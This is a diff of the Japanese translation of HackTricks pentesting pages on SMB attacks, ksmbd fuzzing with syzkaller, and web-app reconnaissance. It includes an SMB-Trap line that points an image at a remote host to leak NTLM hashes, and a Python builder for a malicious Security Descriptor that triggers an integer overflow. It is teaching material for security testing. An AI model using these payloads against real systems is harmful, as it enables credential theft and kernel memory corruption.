[**More information about this attack here.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) [**More information about this attack here.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
## SMB-Trap ## SMB-Trap
Windows ライブラリ URLMon.dll は、ページが SMB 経由でコンテンツにアクセスしようとすると自動的にホストへ認証を試みます。例えば: `img src="\\10.10.10.10\path\image.jpg"` Windows ライブラリ URLMon.dll は、ページが SMB 経由でコンテンツにアクセスしようとすると自動的にホストへ認証を試みます。例えば: `img src="\\10.10.10.10\path\image.jpg"`
これは以下の関数で発生します: This happens with the functions:
- URLDownloadToFile - URLDownloadToFile
- URLDownloadToCache - URLDownloadToCache
- URLOpenStream - URLOpenStream
- URLOpenBlockingStream - URLOpenBlockingStream
これらは一部のブラウザやツールSkype のような)で使用されます Which are used by some browsers and tools (like Skype)
![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (358).png>) ![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (358).png>)
@ -462,11 +460,11 @@ Windows ライブラリ URLMon.dll は、ページが SMB 経由でコンテン
## NTLM Theft ## NTLM Theft
SMB Trapping と同様に、ターゲットシステム上に悪意あるファイルを配置すること(例えば SMB 経由)が SMB 認証の試行を誘発し、NetNTLMv2 ハッシュを Responder のようなツールで傍受できるようになります。そのハッシュはオフラインでクラックするか、[SMB relay attack](#smb-relay-attack) に使用できます。 SMB Trapping と同様に、悪意のあるファイルを target system に置く(例えば SMB 経由で)ことで SMB 認証試行を誘発し、Responder のようなツールで NetNTLMv2 ハッシュを傍受できます。傍受したハッシュはオフラインでクラックするか、[SMB relay attack](#smb-relay-attack) に使用できます。
[See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft) [See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
## HackTricks Automatic Commands ## HackTricks 自動コマンド
``` ```
Protocol_Name: SMB #Protocol Abbreviation if there is one. Protocol_Name: SMB #Protocol Abbreviation if there is one.
Port_Number: 137,138,139 #Comma separated if there is more than one. Port_Number: 137,138,139 #Comma separated if there is more than one.

View File

@ -1,16 +1,16 @@
# ksmbd 攻撃面と SMB2/SMB3 プロトコルのファジング (syzkaller) # ksmbd 攻撃面 & SMB2/SMB3 Protocol Fuzzing (syzkaller)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## 概要 ## 概要
このページは syzkaller を用いて Linux の in-kernel SMB サーバ ksmbd を実際に操作・ファズするための実践的手法を抽象化しています。設定によるプロトコル攻撃面の拡大、SMB2 操作をチェーンできるステートフルなハーネスの構築、文法的に有効な PDUs の生成、カバレッジが低いコード経路への変異バイアス付け、focus_areas や ANYBLOB といった syzkaller の機能活用に焦点を当てます。元の調査では特定の CVE を列挙していますが、ここでは再利用可能な方法論と自分の環境に適用できる具体的スニペットを強調します。 このページは、syzkaller を用いて Linux カーネル内 SMB サーバー (ksmbd) を動作させ、fuzz するための実践的手法を抽象化しています。設定によってプロトコルの攻撃面を拡大すること、SMB2 操作をチェインできるステートフルなハーネスを構築すること、文法的に有効な PDU を生成すること、カバレッジの薄いコードパスに対してミューテーションをバイアスすること、そして focus_areas や ANYBLOB といった syzkaller の機能を活用することに焦点を当てています。元の研究では具体的な CVE を列挙していますが、ここでは再利用可能な方法論と自分の環境に適用できる具体的スニペットを重視します。
対象範囲: TCP 上の SMB2/SMB3。ハーネスを単純に保つため、Kerberos と RDMA は意図的に対象外です。 Target scope: SMB2/SMB3 over TCP. Kerberos and RDMA are intentionally out-of-scope to keep the harness simple.
--- ---
## 設定による ksmbd 攻撃面の拡張 ## 設定による ksmbd の攻撃面の拡大
デフォルトの最小限の ksmbd 設定ではサーバの多くが未テストのままです。以下の機能を有効にして、追加のパーサ/ハンドラを経由し、より深いコード経路に到達させてください: デフォルトでは、最小限の ksmbd 設定はサーバーの大部分を未テストのままにします。次の機能を有効にして、追加のパーサ/ハンドラを通し、より深いコードパスに到達させてください:
- Global-level - Global-level
- Durable handles - Durable handles
@ -20,7 +20,7 @@
- Oplocks (on by default) - Oplocks (on by default)
- VFS objects - VFS objects
これらを有効にすると、のようなモジュールでの実行が増えます: これらを有効にすると、以下のようなモジュールでの実行が増えます:
- smb2pdu.c (command parsing/dispatch) - smb2pdu.c (command parsing/dispatch)
- ndr.c (NDR encode/decode) - ndr.c (NDR encode/decode)
- oplock.c (oplock request/break) - oplock.c (oplock request/break)
@ -28,26 +28,26 @@
- vfs.c (VFS ops) - vfs.c (VFS ops)
- vfs_cache.c (lookup cache) - vfs_cache.c (lookup cache)
注意 Notes
- 正確なオプションはディストリビューションの ksmbd userspace (ksmbd-tools) に依存します。/etc/ksmbd/ksmbd.conf と per-share セクションを確認し、durable handles、leases、oplocks、VFS objects を有効にしてください。 - 正確なオプションはディストリの ksmbd ユーザースペース (ksmbd-tools) に依存します。/etc/ksmbd/ksmbd.conf および各共有セクションを確認して、durable handles、leases、oplocks、VFS objects を有効にしてください。
- Multi-channel と durable handles は状態機械やライフタイムを変化させ、並列処理下で UAF/refcount/OOB バグを表面化させることがよくあります。 - Multi-channel と durable handles は状態機械やライフタイムを変更し、並行性の下で UAF/refcount/OOB のバグを顕在化させることがよくあります。
--- ---
## ファジングのための認証とレート制限の調整 ## Fuzzing のための認証とレート制限の調整
SMB3 は有効なセッションを必要とします。ハーネスに Kerberos を実装すると複雑さが増すため、ファジングでは NTLM/guest を優先してください: SMB3 には有効なセッションが必要です。ハーネス内で Kerberos を実装すると複雑さが増すため、fuzzing では NTLM/guest を優先してください:
- Allow guest access and set map to guest = bad user so unknown users fall back to GUEST. - guest アクセスを許可し、map to guest = bad user を設定して未知のユーザーを GUEST にフォールバックさせる。
- Accept NTLMv2 (patch policy if disabled). This keeps the handshake simple while exercising SMB3 code paths. - NTLMv2 を受け入れる(無効化されている場合はポリシーをパッチ)。これによりハンドシェイクが簡素化されつつ SMB3 のコードパスを動作させられます。
- Patch out strict credit checks when experimenting (post-hardening for CVE-2024-50285 made simultaneous-op crediting stricter). Otherwise, rate-limits can reject fuzzed sequences too early. - 実験時は厳格な credit チェックをパッチアウトするCVE-2024-50285 の後の強化で simultaneous-op の crediting が厳しくなりました)。そうしないと、レート制限によって fuzzed シーケンスが早期に拒否されることがあります。
- Increase max connections (e.g., to 65536) to avoid early rejections during high-throughput fuzzing. - 高スループットの fuzzing 時に早期拒否を避けるため、max connections を増やす(例: 65536
注意: これらの緩和はファジングを容易にするためのものであり、本番環境でこれらの設定を運用しないでください。 注意: これらの緩和設定は fuzzing を容易にするためのものであり、本番環境でこれらの設定を適用しないでください。
--- ---
## Stateful Harness: Extract Resources and Chain Requests ## ステートフルハーネス:リソース抽出とリクエストの連鎖
SMB はステートフルです: 多くのリクエスト前のレスポンスで返される識別子に依存しますSessionId、TreeID、FileID ペアなど)。ハーネスはレスポンスをパースし、同一プログラム内で ID を再利用して深いハンドラに到達する必要があります(例: smb2_create → smb2_ioctl → smb2_close SMB はステートフルです: 多くのリクエスト前のレスポンスで返される識別子に依存しますSessionId、TreeID、FileID ペアなど)。ハーネスはレスポンスをパースして同一プログラム内で ID を再利用し、深いハンドラに到達する必要があります(例: smb2_create → smb2_ioctl → smb2_close
Example snippet to process a response buffer (skipping the +4B NetBIOS PDU length) and cache IDs: Example snippet to process a response buffer (skipping the +4B NetBIOS PDU length) and cache IDs:
```c ```c
@ -76,15 +76,15 @@ break;
} }
``` ```
ヒント ヒント
- 認証/状態を共有する fuzzer プロセスを1つ維持する: ksmbds global/session tables による安定性とカバレッジが向上する。syzkaller は ops を async にマークして内部で再実行することで並行性を注入す - 認証状態を共有する1つの fuzzer プロセスを維持するksmbds global/session tables を共有することで安定性とカバレッジが向上します。syzkaller は ops を async とマークして内部で再実行することで並行性を注入します。
- Syzkallers experimental reset_acc_state は global state をリセットできるが、著しいパフォーマンス低下を招く可能性がある。安定性を優先して fuzzing に集中することを推奨する - Syzkallers experimental reset_acc_state は global state をリセットできますが、大幅なスローダウンを招く可能性があります。安定性を優先して fuzzing に集中してください
--- ---
## 文法駆動による SMB2 生成 (有効な PDUs) ## 文法駆動の SMB2 生成(有効な PDUs
Microsoft Open Specifications の SMB2 構造体を fuzzer grammar に翻訳し、ジェネレータが構造的に有効な PDUs を生成して、体系的に dispatchers と IOCTL handlers に到達するようにす Microsoft Open Specifications の SMB2 構造を fuzzer grammar に落とし込み、ジェネレータが構造的に有効な PDUs を生成して dispatchers と IOCTL handlers に系統的に到達するようにします。
(SMB2 IOCTL request): SMB2 IOCTL request
``` ```
smb2_ioctl_req { smb2_ioctl_req {
Header_Prefix SMB2Header_Prefix Header_Prefix SMB2Header_Prefix
@ -107,12 +107,12 @@ Input array[int8]
Output array[int8] Output array[int8]
} [packed] } [packed]
``` ```
このスタイルは構造体のサイズ/オフセットを正しく制御させ、blind mutation と比べてカバレッジを大幅に改善します。 このスタイルは構造体のサイズやオフセットを正しく強制し、盲目的な変異に比べてカバレッジを劇的に改善します。
--- ---
## Directed Fuzzing With focus_areas ## focus_areas を使った Directed Fuzzing
syzkaller の実験的な focus_areas を使って、現在カバレッジが弱い特定の関数/ファイルに優先的に重み付けします。JSON の例: 現在カバレッジが弱い特定の関数やファイルに重みを付けるために、syzkaller の実験的な focus_areas を使用します。例JSON:
```json ```json
{ {
"focus_areas": [ "focus_areas": [
@ -122,9 +122,9 @@ syzkaller の実験的な focus_areas を使って、現在カバレッジが弱
] ]
} }
``` ```
これは smbacl.c の算術/オーバーフローの経路に到達する有効な ACL を構築するのに役立ちます。例えば、過大な dacloffset を持つ悪意のある Security Descriptor は整数オーバーフローを再現します。 これは ACLs を構築して smbacl.c の arithmetic/overflow パスにヒットさせるのに役立ちます。例えば、過大な dacloffset を持つ悪意のある Security Descriptor は integer-overflow を再現します。
再現コード(最小限の Python 再現ビルダーminimal Python:
```python ```python
def build_sd(): def build_sd():
import struct import struct
@ -142,8 +142,9 @@ sd += b"\xCC" * 64
return bytes(sd) return bytes(sd)
``` ```
--- ---
## ANYBLOB で Coverage の停滞を打破する
syzkallers anyTypes (ANYBLOB/ANYRES) は複雑な構造をジェネリックに変異する blobs にまとめることを可能にします。公開されている SMB pcaps から新しいコーパスを作成し、ペイロードを syzkaller programs に変換して、pseudo-syscall例: syz_ksmbd_send_reqを呼び出すようにします ## ANYBLOBでカバレッジの停滞を打破する
syzkallers anyTypes (ANYBLOB/ANYRES) は、複雑な構造をジェネリックに変異する blob にまとめることを可能にします。公開されている SMB pcaps から新しいコーパスを生成し、ペイロードをあなたの pseudo-syscall例: syz_ksmbd_send_reqを呼ぶ syzkaller プログラムに変換します:
```bash ```bash
# Extract SMB payloads to JSON # Extract SMB payloads to JSON
# tshark -r smb2_dac_sample.pcap -Y "smb || smb2" -T json -e tcp.payload > packets.json # tshark -r smb2_dac_sample.pcap -Y "smb || smb2" -T json -e tcp.payload > packets.json
@ -166,14 +167,14 @@ f.write(
f"syz_ksmbd_send_req(&(&(0x7f0000000340))=ANY=[@ANYBLOB=\"{pdu}\"], {hex(pdu_size)}, 0x0, 0x0)" f"syz_ksmbd_send_req(&(&(0x7f0000000340))=ANY=[@ANYBLOB=\"{pdu}\"], {hex(pdu_size)}, 0x0, 0x0)"
) )
``` ```
これにより探索を素早く開始でき、UAFs例: ksmbd_sessions_deregisterを即座に引き起こすことがあり、カバレッジが数パーセント上昇します。 これにより探索が急速に開始され、例えば ksmbd_sessions_deregister のような箇所で UAFs を即座に誘発し、カバレッジを数パーセント向上させることがあります。
--- ---
## Sanitizers: KASANを超えて ## Sanitizers: Beyond KASAN
- KASANはヒープバグUAF/OOBの主要な検出器であり続ける - KASAN はヒープバグ (UAF/OOB) の主要な検出器のままです
- KCSANはこのターゲットではしばしば誤検知や低重大度のデータ競合を報告することがある - KCSAN はこのターゲットで誤検知や重大度の低い data races を報告することが多いです
- UBSAN/KUBSANは、配列インデックスのセマンティクスのためにKASANが見逃す宣言境界のミスを検出できる。例: - UBSAN/KUBSAN は、配列インデックスのセマンティクスのために KASAN が見逃す宣言された境界の誤りを検出できます。例:
```c ```c
id = le32_to_cpu(psid->sub_auth[psid->num_subauth - 1]); id = le32_to_cpu(psid->sub_auth[psid->num_subauth - 1]);
struct smb_sid { struct smb_sid {
@ -185,24 +186,24 @@ Setting num_subauth = 0 triggers an in-struct OOB read of sub_auth[-1], caught b
--- ---
## スループットと並列性の注意 ## スループットと並列実行に関する注意
- 単一の fuzzer プロセスshared auth/stateは ksmbd に対して一般的にかなり安定しやすく、syzkaller の内部 async executor により races/UAFs を依然として表面化させます。 - 単一の fuzzer プロセスshared auth/stateは ksmbd に対してかなり安定する傾向があり、syzkaller の内部 async executor により races/UAFs を依然として検出できます。
- 複数の VMs を使うと、全体で毎秒数百の SMB コマンドに到達できます。関数レベルのカバレッジは fs/smb/server の約60% と smb2pdu.c の約70% 程度が達成可能ですが、state-transition カバレッジはこれらの指標では過小評価されがちです。 - 複数の VMs を使うと、全体で数百の SMB コマンド/秒 に達することがあります。関数レベルのカバレッジは fs/smb/server の約 60% と smb2pdu.c の約 70% 程度が得られますが、状態遷移のカバレッジはこれらの指標では過小評価されがちです。
--- ---
## 実チェックリスト ## 実チェックリスト
- ksmbd で durable handles、leases、multi-channel、oplocks、VFS objects を有効にする。 - ksmbd で durable handles、leases、multi-channel、oplocks、および VFS objects を有効にする。
- guest と map-to-guest を許可し、NTLMv2 を受け入れる。credit limits をパッチで除去し、fuzzer の安定性のために max connections を引き上げる。 - guest と map-to-guest を許可し、NTLMv2 を受け入れる。credit limits をパッチで除去し、fuzzer の安定性のために max connections を引き上げる。
- SessionId/TreeID/FileIDs をキャッシュし、create → ioctl → close を連鎖する stateful harness を構築する。 - SessionId/TreeID/FileIDs をキャッシュする stateful harness を構築し、create → ioctl → close をチェーンする。
- 構造的妥当性を維持するために SMB2 PDUs 用の grammar を使用する。 - 構造的妥当性を保つために SMB2 PDUs 用の grammar を使用する。
- focus_areas を使ってカバレッジの低い関数(例: smbacl.c のパス、smb_check_perm_dacl など)に重み付けする。 - focus_areas を使用してカバレッジが弱い関数(例: smbacl.c の smb_check_perm_dacl のようなパス)に重みを付ける。
- 実際の pcaps から ANYBLOB でシードして停滞を打破する。シードは再利用のために syz-db でパッキングする。 - 実際の pcaps から ANYBLOB をシードとして投入して停滞を打破し、シードを syz-db でパックして再利用する。
- KASAN + UBSAN で実行し、UBSAN の declared-bounds レポート慎重にトリアージする。 - KASAN + UBSAN で実行し、UBSAN の declared-bounds レポート慎重にトリアージする。
--- ---
## 参考 ## 参考資料
- Doyensec ksmbd Fuzzing (Part 2): https://blog.doyensec.com/2025/09/02/ksmbd-2.html - Doyensec ksmbd Fuzzing (Part 2): https://blog.doyensec.com/2025/09/02/ksmbd-2.html
- syzkaller: https://github.com/google/syzkaller - syzkaller: https://github.com/google/syzkaller
- ANYBLOB/anyTypes (commit 9fe8aa4): https://github.com/google/syzkaller/commit/9fe8aa4 - ANYBLOB/anyTypes (commit 9fe8aa4): https://github.com/google/syzkaller/commit/9fe8aa4
@ -213,6 +214,6 @@ Setting num_subauth = 0 triggers an in-struct OOB read of sub_auth[-1], caught b
- KCSAN: https://docs.kernel.org/dev-tools/kcsan.html - KCSAN: https://docs.kernel.org/dev-tools/kcsan.html
- Microsoft Open Specifications (SMB): https://learn.microsoft.com/openspecs/ - Microsoft Open Specifications (SMB): https://learn.microsoft.com/openspecs/
- Wireshark Sample Captures: https://wiki.wireshark.org/SampleCaptures - Wireshark Sample Captures: https://wiki.wireshark.org/SampleCaptures
- 補足読み物: pwning.tech “Tickling ksmbd: fuzzing SMB in the Linux kernel”; Dongliang Mus syzkaller notes - Background reading: pwning.tech “Tickling ksmbd: fuzzing SMB in the Linux kernel”; Dongliang Mus syzkaller notes
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -2,9 +2,9 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## 基本情報 ## Basic Info
Webサービスは最も**一般的かつ広範なサービス**であり、**さまざまな種類の脆弱性**が多く存在します。 Webサービスは最も **一般的かつ広範なサービス** であり、**さまざまな種類の脆弱性** が多数存在します。
**デフォルトポート:** 80 (HTTP), 443(HTTPS) **デフォルトポート:** 80 (HTTP), 443(HTTPS)
```bash ```bash
@ -24,38 +24,38 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
web-api-pentesting.md web-api-pentesting.md
{{#endref}} {{#endref}}
## 手法の概要 ## 方法論の概要
> この手法では、ドメインまたはサブドメイン1つだけを攻撃対象とすることを想定します。したがって、スコープ内で発見された各ドメイン、サブドメイン、または未特定のウェブサーバをホストするIPごとに、この手法を適用してください。 > この方法論では、ドメインまたはサブドメイン1つのみを攻撃することを想定します。したがって、この方法論は、スコープ内で判別されていない web server を持つ各発見されたドメイン、サブドメイン、または IP に対して適用してください。
- [ ] まずはウェブサーバーで使用されている**技術**を**特定**してください。技術を特定できたら、テストの残りで留意すべき**トリック**を探してください。 - [ ] まず、web サーバで使用されている**technologies**を**identifying**して特定します。技術を特定できたら、テストの残りで覚えておくべき**tricks**を探してください。
- [ ] その技術のバージョンに対して既知の**脆弱性**はありますか? - [ ] その技術のバージョンに対する既知の**vulnerability**はありますか?
- [ ] よく知られた**技術**を使用していますか?より多くの情報を引き出すための**有用なトリック**はありますか? - [ ] よく使われている**tech**を使用していますか?情報を引き出すための**useful trick**はありますか?
- [ ] 実行すべき**専用のスキャナー**はありますか(例: wpscan - [ ] 実行すべき**specialised scanner**(例: wpscanはありますか
- [ ] **汎用スキャナー**を実行してください。何かを見つけるか、興味深い情報を得られるか分かりません。 - [ ] **general purposes scanners**を起動してください。何かを見つけるか、興味深い情報を得られるかもしれません。
- [ ] **初期チェック**から始めます: **robots**, **sitemap**, **404** エラー、および **SSL/TLS scan**HTTPS の場合)。 - [ ] **initial checks**から始めます: **robots**, **sitemap**, **404** error と **SSL/TLS scan**HTTPS の場合)。
- [ ] ウェブページの**spidering**を開始します: 使用されている可能性のあるすべての**ファイル、フォルダ**、および**パラメータ**を**見つけ**てください。また、**特別な所見**がないか確認します - [ ] Web ページの**spidering**を開始します: 可能なすべての**files, folders**や**parameters being used**を**find**する時です。**special findings**も確認してください
- [ ] _brute-forcingまたはspidering中に新しいディレクトリが発見されたら、その都度spideringを行ってください。_ - [ ] _Note that anytime a new directory is discovered during brute-forcing or spidering, it should be spidered._
- [ ] **Directory Brute-Forcing**: 発見した全てのフォルダを**brute force**して、新しい**ファイル**や**ディレクトリ**を探してください - [ ] **Directory Brute-Forcing**: 発見したすべてのフォルダに対して brute force を試み、新しい **files****directories** を探します
- [ ] _brute-forcingまたはspidering中に新しいディレクトリが発見されたら、そのディレクトリに対してはBrute-Forcedを行ってください。_ - [ ] _Note that anytime a new directory is discovered during brute-forcing or spidering, it should be Brute-Forced._
- [ ] **Backups checking**: 共通のバックアップ拡張子を付けて**発見したファイル**の**バックアップ**が見つかるかテストします。 - [ ] **Backups checking**: 一般的なバックアップ拡張子を付けて、**discovered files** の **backups** が見つかるかテストします。
- [ ] **Brute-Force parameters**: 隠し**パラメータ**を**発見**するよう試みてください。 - [ ] **Brute-Force parameters**: 隠しパラメータを探してみてください。
- [ ] すべての**ユーザー入力**を受け付ける可能性のある**endpoints**を**特定**したら、それらに関連するあらゆる種類の**脆弱性**を確認してください - [ ] すべての可能な **endpoints****user input** を受け付けるかを**identified**したら、それに関連するあらゆる種類の **vulnerabilities** をチェックします
- [ ] [このチェックリストに従ってください](../../pentesting-web/web-vulnerabilities-methodology.md) - [ ] [Follow this checklist](../../pentesting-web/web-vulnerabilities-methodology.md)
## サーバーのバージョン(脆弱?) ## Server Version (Vulnerable?)
### 識別 ### 特定
実行中のサーバーのバージョンに既知の脆弱性があるか確認してください。\ 実行中のサーバーの **version** に対して既知の**known vulnerabilities**があるか確認してください。\
レスポンスのHTTP headersやcookiesは、使用されている技術やバージョンの識別に非常に有用です。Nmap scanはサーバーバージョンを識別できますが、ツールの[**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)or [**https://builtwith.com/**](https://builtwith.com)**:** レスポンスの **HTTP headers and cookies** は、使用されている **technologies****version** を**identify**するのに非常に有用です。**Nmap scan** はサーバの version を識別できますが、[**whatweb**](https://github.com/urbanadventurer/WhatWeb)、[**webtech**](https://github.com/ShielderSec/webtech) や [**https://builtwith.com/**](https://builtwith.com) といったツールも有用です:
```bash ```bash
whatweb -a 1 <URL> #Stealthy whatweb -a 1 <URL> #Stealthy
whatweb -a 3 <URL> #Aggresive whatweb -a 3 <URL> #Aggresive
webtech -u <URL> webtech -u <URL>
webanalyze -host https://google.com -crawl 2 webanalyze -host https://google.com -crawl 2
``` ```
検索 **for** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md) 検索 **対象の** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
### **WAFがあるか確認する** ### **WAFがあるか確認する**
@ -63,9 +63,9 @@ webanalyze -host https://google.com -crawl 2
- [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git) - [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
- [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html) - [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html)
### Web技術のトリック ### Web tech tricks
使用されているさまざまなよく知られた **technologies****finding vulnerabilities** を行うための **tricks**: いくつかの **tricks** は、異なるよく知られた **technologies** 上での **vulnerabilities** を見つけるために役立ちます:
- [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md) - [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
- [**Apache**](apache.md) - [**Apache**](apache.md)
@ -102,27 +102,27 @@ webanalyze -host https://google.com -crawl 2
- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html) - [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
- [**Sitecore**](sitecore/index.html) - [**Sitecore**](sitecore/index.html)
_ドメインが同じでも、異なる **technologies** を異なる **ports**、**folders**、**subdomains** で使用している場合があることに注意してください._\ _Take into account that the **same domain** can be using **different technologies** in different **ports**, **folders** and **subdomains**._\
webアプリケーションがよく知られた **tech/platform listed before** または **any other** を使用している場合は、新しい **tricks** をインターネットで **search on the Internet** することを忘れないでください(知らせてください!)。 もし web application が上に挙げた既知の **tech/platform** またはその他を使用している場合は、Internet 上で新しい tricks を検索するのを忘れないでください(そして私に教えてください!)。
### ソースコードレビュー ### Source Code Review
もしアプリケーションの **source code****github** で入手可能な場合、アプリケーションに対して **your own a White box test** を実施することに加え、現在の **Black-Box testing****useful** となり得る **some information** が存在します: もしアプリケーションの **source code****github** 上で入手可能であれば、アプリケーションに対して自分で White box test を行うことに加えて、現在の Black-Box testing に役立ついくつかの情報があります:
- ウェブ上でアクセス可能な **version info accessible** を含む **Change-log or Readme or Version** ファイルなどはありますか? - Web 経由でアクセス可能な **Change-log or Readme or Version** ファイルやバージョン情報はありますか?
- **credentials** はどのようにどこに保存されていますか? 認証情報(ユーザー名やパスワード)を含む(アクセス可能な?)**file** はありますか? - **credentials** はどのように、どこに保存されていますか?(アクセス可能な)**file** にユーザ名やパスワードなどの **credentials** はありますか?
- **passwords****plain text**、**encrypted**、あるいはどの **hashing algorithm** が使用されていますか? - **passwords****plain text**、**encrypted**、それともどの **hashing algorithm** が使われていますか?
- 何かを暗号化するため **master key** を使用していますか? どの **algorithm** が使われていますか? - 何かを暗号化するため **master key** を使用していますか?どの **algorithm** が使われていますか?
- 何らかの脆弱性を悪用してこれらのファイルのいずれかに **access any of these files** できますか? - これらのファイルのいずれかに、何かの **vulnerability** を利用してアクセスできますか?
- **interesting information in the github**(解決済み・未解決を問わず)や **issues** に何かありますか? また **commit history** に(古いコミット内に **password introduced inside an old commit** など)が含まれている可能性は? - **github** の **issues**(解決済みと未解決の両方)や **commit history** に興味深い情報はありますか?(古い commit にパスワードが含まれている可能性があります)
{{#ref}} {{#ref}}
code-review-tools.md code-review-tools.md
{{#endref}} {{#endref}}
### 自動スキャナ ### Automatic scanners
#### 汎用の自動スキャナ #### General purpose automatic scanners
```bash ```bash
nikto -h <URL> nikto -h <URL>
whatweb -a 4 <URL> whatweb -a 4 <URL>
@ -134,14 +134,14 @@ nuclei -ut && nuclei -target <URL>
# https://github.com/ignis-sec/puff (client side vulns fuzzer) # https://github.com/ignis-sec/puff (client side vulns fuzzer)
node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi2rVUN/?query=FUZZ" node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi2rVUN/?query=FUZZ"
``` ```
#### CMSスキャナー #### CMS scanners
CMSが使用されている場合は、**スキャナーを実行する**のを忘れないでください。思わぬ有益な発見があるかもしれません: CMSが使われている場合は、忘れずに **run a scanner** を実行してください。思わぬ発見があるかもしれません:
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\ [**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** セキュリティの問題があるWebサイトを検査します。 (GUI)\ [**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** の Security issues のあるウェブサイト向けGUI\
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\ [**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **または** [**(M)oodle**](moodle.md)\ **CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **or** [**(M)oodle**](moodle.md)\
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md) [**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
```bash ```bash
cmsmap [-f W] -F -d <URL> cmsmap [-f W] -F -d <URL>
@ -149,45 +149,45 @@ wpscan --force update -e --url <URL>
joomscan --ec -u <URL> joomscan --ec -u <URL>
joomlavs.rb #https://github.com/rastating/joomlavs joomlavs.rb #https://github.com/rastating/joomlavs
``` ```
> この時点で、クライアントが使用しているウェブサーバに関するいくつかの情報(もしデータが提供されていれば)と、テスト中に覚えておくべきいくつかのコツを既に把握しているはずです。運が良ければCMSを見つけてスキャナを実行しているでしょう > この時点で、クライアントが使用しているウェブサーバに関するいくつかの情報(提供されていれば)と、テスト中に覚えておくべきいくつかのコツを既に把握しているはずです。運が良ければ、CMS を見つけてスキャナを実行しているかもしれません
## ステップバイステップのWebアプリケーション探索 ## Step-by-step Web Application Discovery
> この時点からWebアプリケーションと実際に対話を始めます。 > ここからは実際に Web アプリケーションと対話を始めます。
### 初期チェック ### Initial checks
**興味深い情報を含むデフォルトページ:** **Default pages with interesting info:**
- /robots.txt - /robots.txt
- /sitemap.xml - /sitemap.xml
- /crossdomain.xml - /crossdomain.xml
- /clientaccesspolicy.xml - /clientaccesspolicy.xml
- /.well-known/ - /.well-known/
- メインページおよびサブページのコメントも確認する。 - メインおよびサブページのコメントも確認すること
**エラーを強制する** **Forcing errors**
ウェブサーバは奇妙なデータが送られると**予期せぬ挙動**をすることがあります。これにより**脆弱性**が露呈したり、**機密情報の開示**につながる可能性があります。 Web servers may **behave unexpectedly** when weird data is sent to them. This may open **vulnerabilities** or **disclosure sensitive information**.
- 例えば /whatever_fake.php (.aspx,.html,.etc) のような**偽ページ**にアクセスする - /whatever_fake.php のようなダミーページにアクセスする(.aspx、.html など)
- **cookie values****parameter** の値に "\[]", "]]", "\[[" を追加してエラーを発生させる - **"\[]", "]]", および "\[["** を **cookie 値****パラメータ値**追加してエラーを発生させる
- URLの**末尾**に **`/~randomthing/%s`** を入力してエラーを発生させる - URL**末尾****`/~randomthing/%s`** のような入力を与えてエラーを発生させる
- PATCH, DEBUG のような**異なるHTTPメソッド**を試す、あるいは FAKE のような不正なメソッドを試す - PATCH、DEBUG のような **異なる HTTP メソッド** FAKE のような不正なメソッドを試す
#### **ファイルをアップロードできるか確認する (**[**PUT verb, WebDav**](put-method-webdav.md)**)** #### **ファイルをアップロードできるか確認する (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
